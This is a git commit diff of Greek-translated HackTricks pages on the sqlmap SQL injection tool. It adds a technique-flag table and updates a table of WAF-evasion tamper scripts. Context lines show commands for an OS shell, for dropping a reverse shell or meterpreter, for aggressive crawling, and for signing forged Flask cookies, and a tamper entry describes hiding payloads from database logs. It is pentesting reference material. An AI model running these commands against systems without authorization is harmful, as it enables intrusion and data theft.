mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin
This commit is contained in:
parent
f22cda77ea
commit
96d1bca395
@ -21,6 +21,23 @@
|
|||||||
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
||||||
--proxy=PROXY
|
--proxy=PROXY
|
||||||
```
|
```
|
||||||
|
### Technique flags (`--technique`)
|
||||||
|
|
||||||
|
Το επιχείρημα `--technique` καθορίζει ποιες μεθόδους SQL injection θα προσπαθήσει να χρησιμοποιήσει το sqlmap. Κάθε χαρακτήρας στη συμβολοσειρά αντιπροσωπεύει μια τεχνική:
|
||||||
|
|
||||||
|
| Letter | Technique | Description |
|
||||||
|
| ------ | --------- | ----------- |
|
||||||
|
| B | Boolean-based blind | Χρησιμοποιεί συνθήκες true/false για να συμπεράνει δεδομένα |
|
||||||
|
| E | Error-based | Εκμεταλλεύεται λεπτομερή μηνύματα σφάλματος DBMS για να εξάγει αποτελέσματα |
|
||||||
|
| U | UNION query | Εισάγει δηλώσεις `UNION SELECT` για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού |
|
||||||
|
| S | Stacked queries | Προσθέτει επιπλέον δηλώσεις χωρισμένες με `;` |
|
||||||
|
| T | Time-based blind | Βασίζεται σε καθυστερήσεις (`SLEEP`, `WAITFOR`) για να ανιχνεύσει την εισαγωγή |
|
||||||
|
| Q | Inline / out-of-band | Χρησιμοποιεί συναρτήσεις όπως `LOAD_FILE()` ή OOB κανάλια όπως το DNS |
|
||||||
|
|
||||||
|
Η προεπιλεγμένη σειρά είναι `BEUSTQ`. Μπορείτε να τις αναδιοργανώσετε ή να τις περιορίσετε, π.χ. μόνο Boolean και Time-based σε αυτή τη σειρά:
|
||||||
|
```bash
|
||||||
|
sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||||
|
```
|
||||||
### Ανάκτηση Πληροφοριών
|
### Ανάκτηση Πληροφοριών
|
||||||
|
|
||||||
#### Εσωτερικό
|
#### Εσωτερικό
|
||||||
@ -48,7 +65,7 @@
|
|||||||
```bash
|
```bash
|
||||||
sqlmap -r req.txt --current-user
|
sqlmap -r req.txt --current-user
|
||||||
```
|
```
|
||||||
### Εισαγωγή Αιτήματος GET
|
### GET Request Injection
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/?id=1" -p id
|
sqlmap -u "http://example.com/?id=1" -p id
|
||||||
sqlmap -u "http://example.com/?id=*" -p id
|
sqlmap -u "http://example.com/?id=*" -p id
|
||||||
@ -87,7 +104,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
|||||||
#Dropping a reverse-shell / meterpreter
|
#Dropping a reverse-shell / meterpreter
|
||||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||||
```
|
```
|
||||||
### Σάρωση μιας ιστοσελίδας με SQLmap και αυτόματη εκμετάλλευση
|
### Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||||
|
|
||||||
@ -115,53 +132,56 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
--tamper=name_of_the_tamper
|
--tamper=name_of_the_tamper
|
||||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||||
```
|
```
|
||||||
| Tamper | Description |
|
| Tamper | Περιγραφή |
|
||||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
|
||||||
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
|
||||||
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
|
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
|
||||||
| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 |
|
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
|
||||||
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('>'\) με 'NOT BETWEEN 0 AND \#' |
|
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με 'NOT BETWEEN 0 AND \#' |
|
||||||
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
||||||
| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
||||||
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
|
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
|
||||||
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||||
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
||||||
| charunicodeencode.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" |
|
| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" |
|
||||||
| charunicodeescape.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" |
|
| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" |
|
||||||
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' |
|
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' |
|
||||||
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
|
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
|
||||||
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('>'\) με τον αντίστοιχο 'GREATEST' |
|
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με τον αντίστοιχο 'GREATEST' |
|
||||||
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
||||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
|
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
|
||||||
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
|
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
|
||||||
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
|
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
|
||||||
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
||||||
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα |
|
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα |
|
||||||
| percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα |
|
| percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα |
|
||||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
|
||||||
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
|
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
|
||||||
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
||||||
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
||||||
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
||||||
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια |
|
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια |
|
||||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||||
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||||
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
|
||||||
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
||||||
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
|
||||||
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) |
|
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) |
|
||||||
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και |
|
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και |
|
||||||
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
||||||
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) |
|
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) |
|
||||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
|
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
|
||||||
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
||||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||||
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||||
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -23,6 +23,23 @@
|
|||||||
--proxy=http://127.0.0.1:8080
|
--proxy=http://127.0.0.1:8080
|
||||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||||
```
|
```
|
||||||
|
### Technique flags (`--technique`)
|
||||||
|
|
||||||
|
Η επιλογή `--technique` σας επιτρέπει να περιορίσετε ή να αναδιατάξετε τις τεχνικές SQL injection που θα δοκιμάσει το sqlmap. Κάθε γράμμα αντιστοιχεί σε μια διαφορετική κατηγορία payloads:
|
||||||
|
|
||||||
|
| Letter | Technique | Description |
|
||||||
|
| ------ | --------- | ----------- |
|
||||||
|
| B | Boolean-based blind | Χρησιμοποιεί συνθήκες true/false στην απόκριση της σελίδας για να συμπεράνει αποτελέσματα |
|
||||||
|
| E | Error-based | Εκμεταλλεύεται λεπτομερή μηνύματα σφάλματος DBMS για να εξάγει δεδομένα |
|
||||||
|
| U | UNION query | Εισάγει δηλώσεις `UNION SELECT` για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού |
|
||||||
|
| S | Stacked queries | Προσθέτει επιπλέον δηλώσεις χωρισμένες με έναν SQL διαχωριστή (`;`) |
|
||||||
|
| T | Time-based blind | Βασίζεται σε καθυστερήσεις `SLEEP/WAITFOR` για να ανιχνεύσει συνθήκες που είναι επιδεκτικές σε injection |
|
||||||
|
| Q | Inline / out-of-band | Χρησιμοποιεί συναρτήσεις όπως `LOAD_FILE()` ή εξαγωγή DNS για να εξάγει δεδομένα |
|
||||||
|
|
||||||
|
Η προεπιλεγμένη σειρά που θα ακολουθήσει το sqlmap είναι `BEUSTQ` (όλες οι τεχνικές). Μπορείτε να αλλάξετε τόσο τη σειρά όσο και το υποσύνολο. Για παράδειγμα, η παρακάτω εντολή θα **προσπαθήσει μόνο** τις τεχνικές UNION query και Time-based blind, προσπαθώντας πρώτα το UNION:
|
||||||
|
```bash
|
||||||
|
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||||
|
```
|
||||||
### Ανάκτηση Πληροφοριών
|
### Ανάκτηση Πληροφοριών
|
||||||
|
|
||||||
#### Εσωτερικό
|
#### Εσωτερικό
|
||||||
@ -53,7 +70,7 @@
|
|||||||
```bash
|
```bash
|
||||||
sqlmap -r req.txt --current-user
|
sqlmap -r req.txt --current-user
|
||||||
```
|
```
|
||||||
### GET Request Injection
|
### Εισαγωγή Αιτήματος GET
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/?id=1" -p id
|
sqlmap -u "http://example.com/?id=1" -p id
|
||||||
sqlmap -u "http://example.com/?id=*" -p id
|
sqlmap -u "http://example.com/?id=*" -p id
|
||||||
@ -82,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||||||
```
|
```
|
||||||
### Προσθήκη τεχνικής ανίχνευσης
|
### Προσθήκη τεχνικής ανίχνευσης
|
||||||
|
|
||||||
Αν βρείτε ένα SQLi αλλά το sqlmap δεν το ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για time blind based.
|
Αν βρείτε μια SQLi αλλά το sqlmap δεν την ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για βασισμένο σε χρόνο blind.
|
||||||
|
|
||||||
### Eval
|
### Eval
|
||||||
|
|
||||||
**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **flask cookie session** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**:
|
**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **συνεδρία cookie flask** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**:
|
||||||
```bash
|
```bash
|
||||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||||
```
|
```
|
||||||
@ -149,47 +166,50 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||||||
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
|
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
|
||||||
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
|
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
|
||||||
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #' |
|
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #' |
|
||||||
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
|
||||||
| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
| chardoubleencode.py | Διπλά url-κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||||
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
|
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
|
||||||
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||||
| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
| charencode.py | Url-κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||||
| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
|
| charunicodeencode.py | Unicode-url-κωδικοποιεί μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
|
||||||
| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
|
| charunicodeescape.py | Unicode-url-κωδικοποιεί μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
|
||||||
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσος ('=') με τον τελεστή 'LIKE' |
|
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσος ('=') με τον τελεστή 'LIKE' |
|
||||||
| escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
|
| escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
|
||||||
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST' |
|
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST' |
|
||||||
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
|
||||||
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
|
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
|
| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση |
|
||||||
| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης |
|
| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης |
|
||||||
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
|
||||||
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
|
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
|
||||||
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
|
| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
|
||||||
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
|
||||||
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή περίπτωσης |
|
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
|
||||||
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
|
||||||
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
|
||||||
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
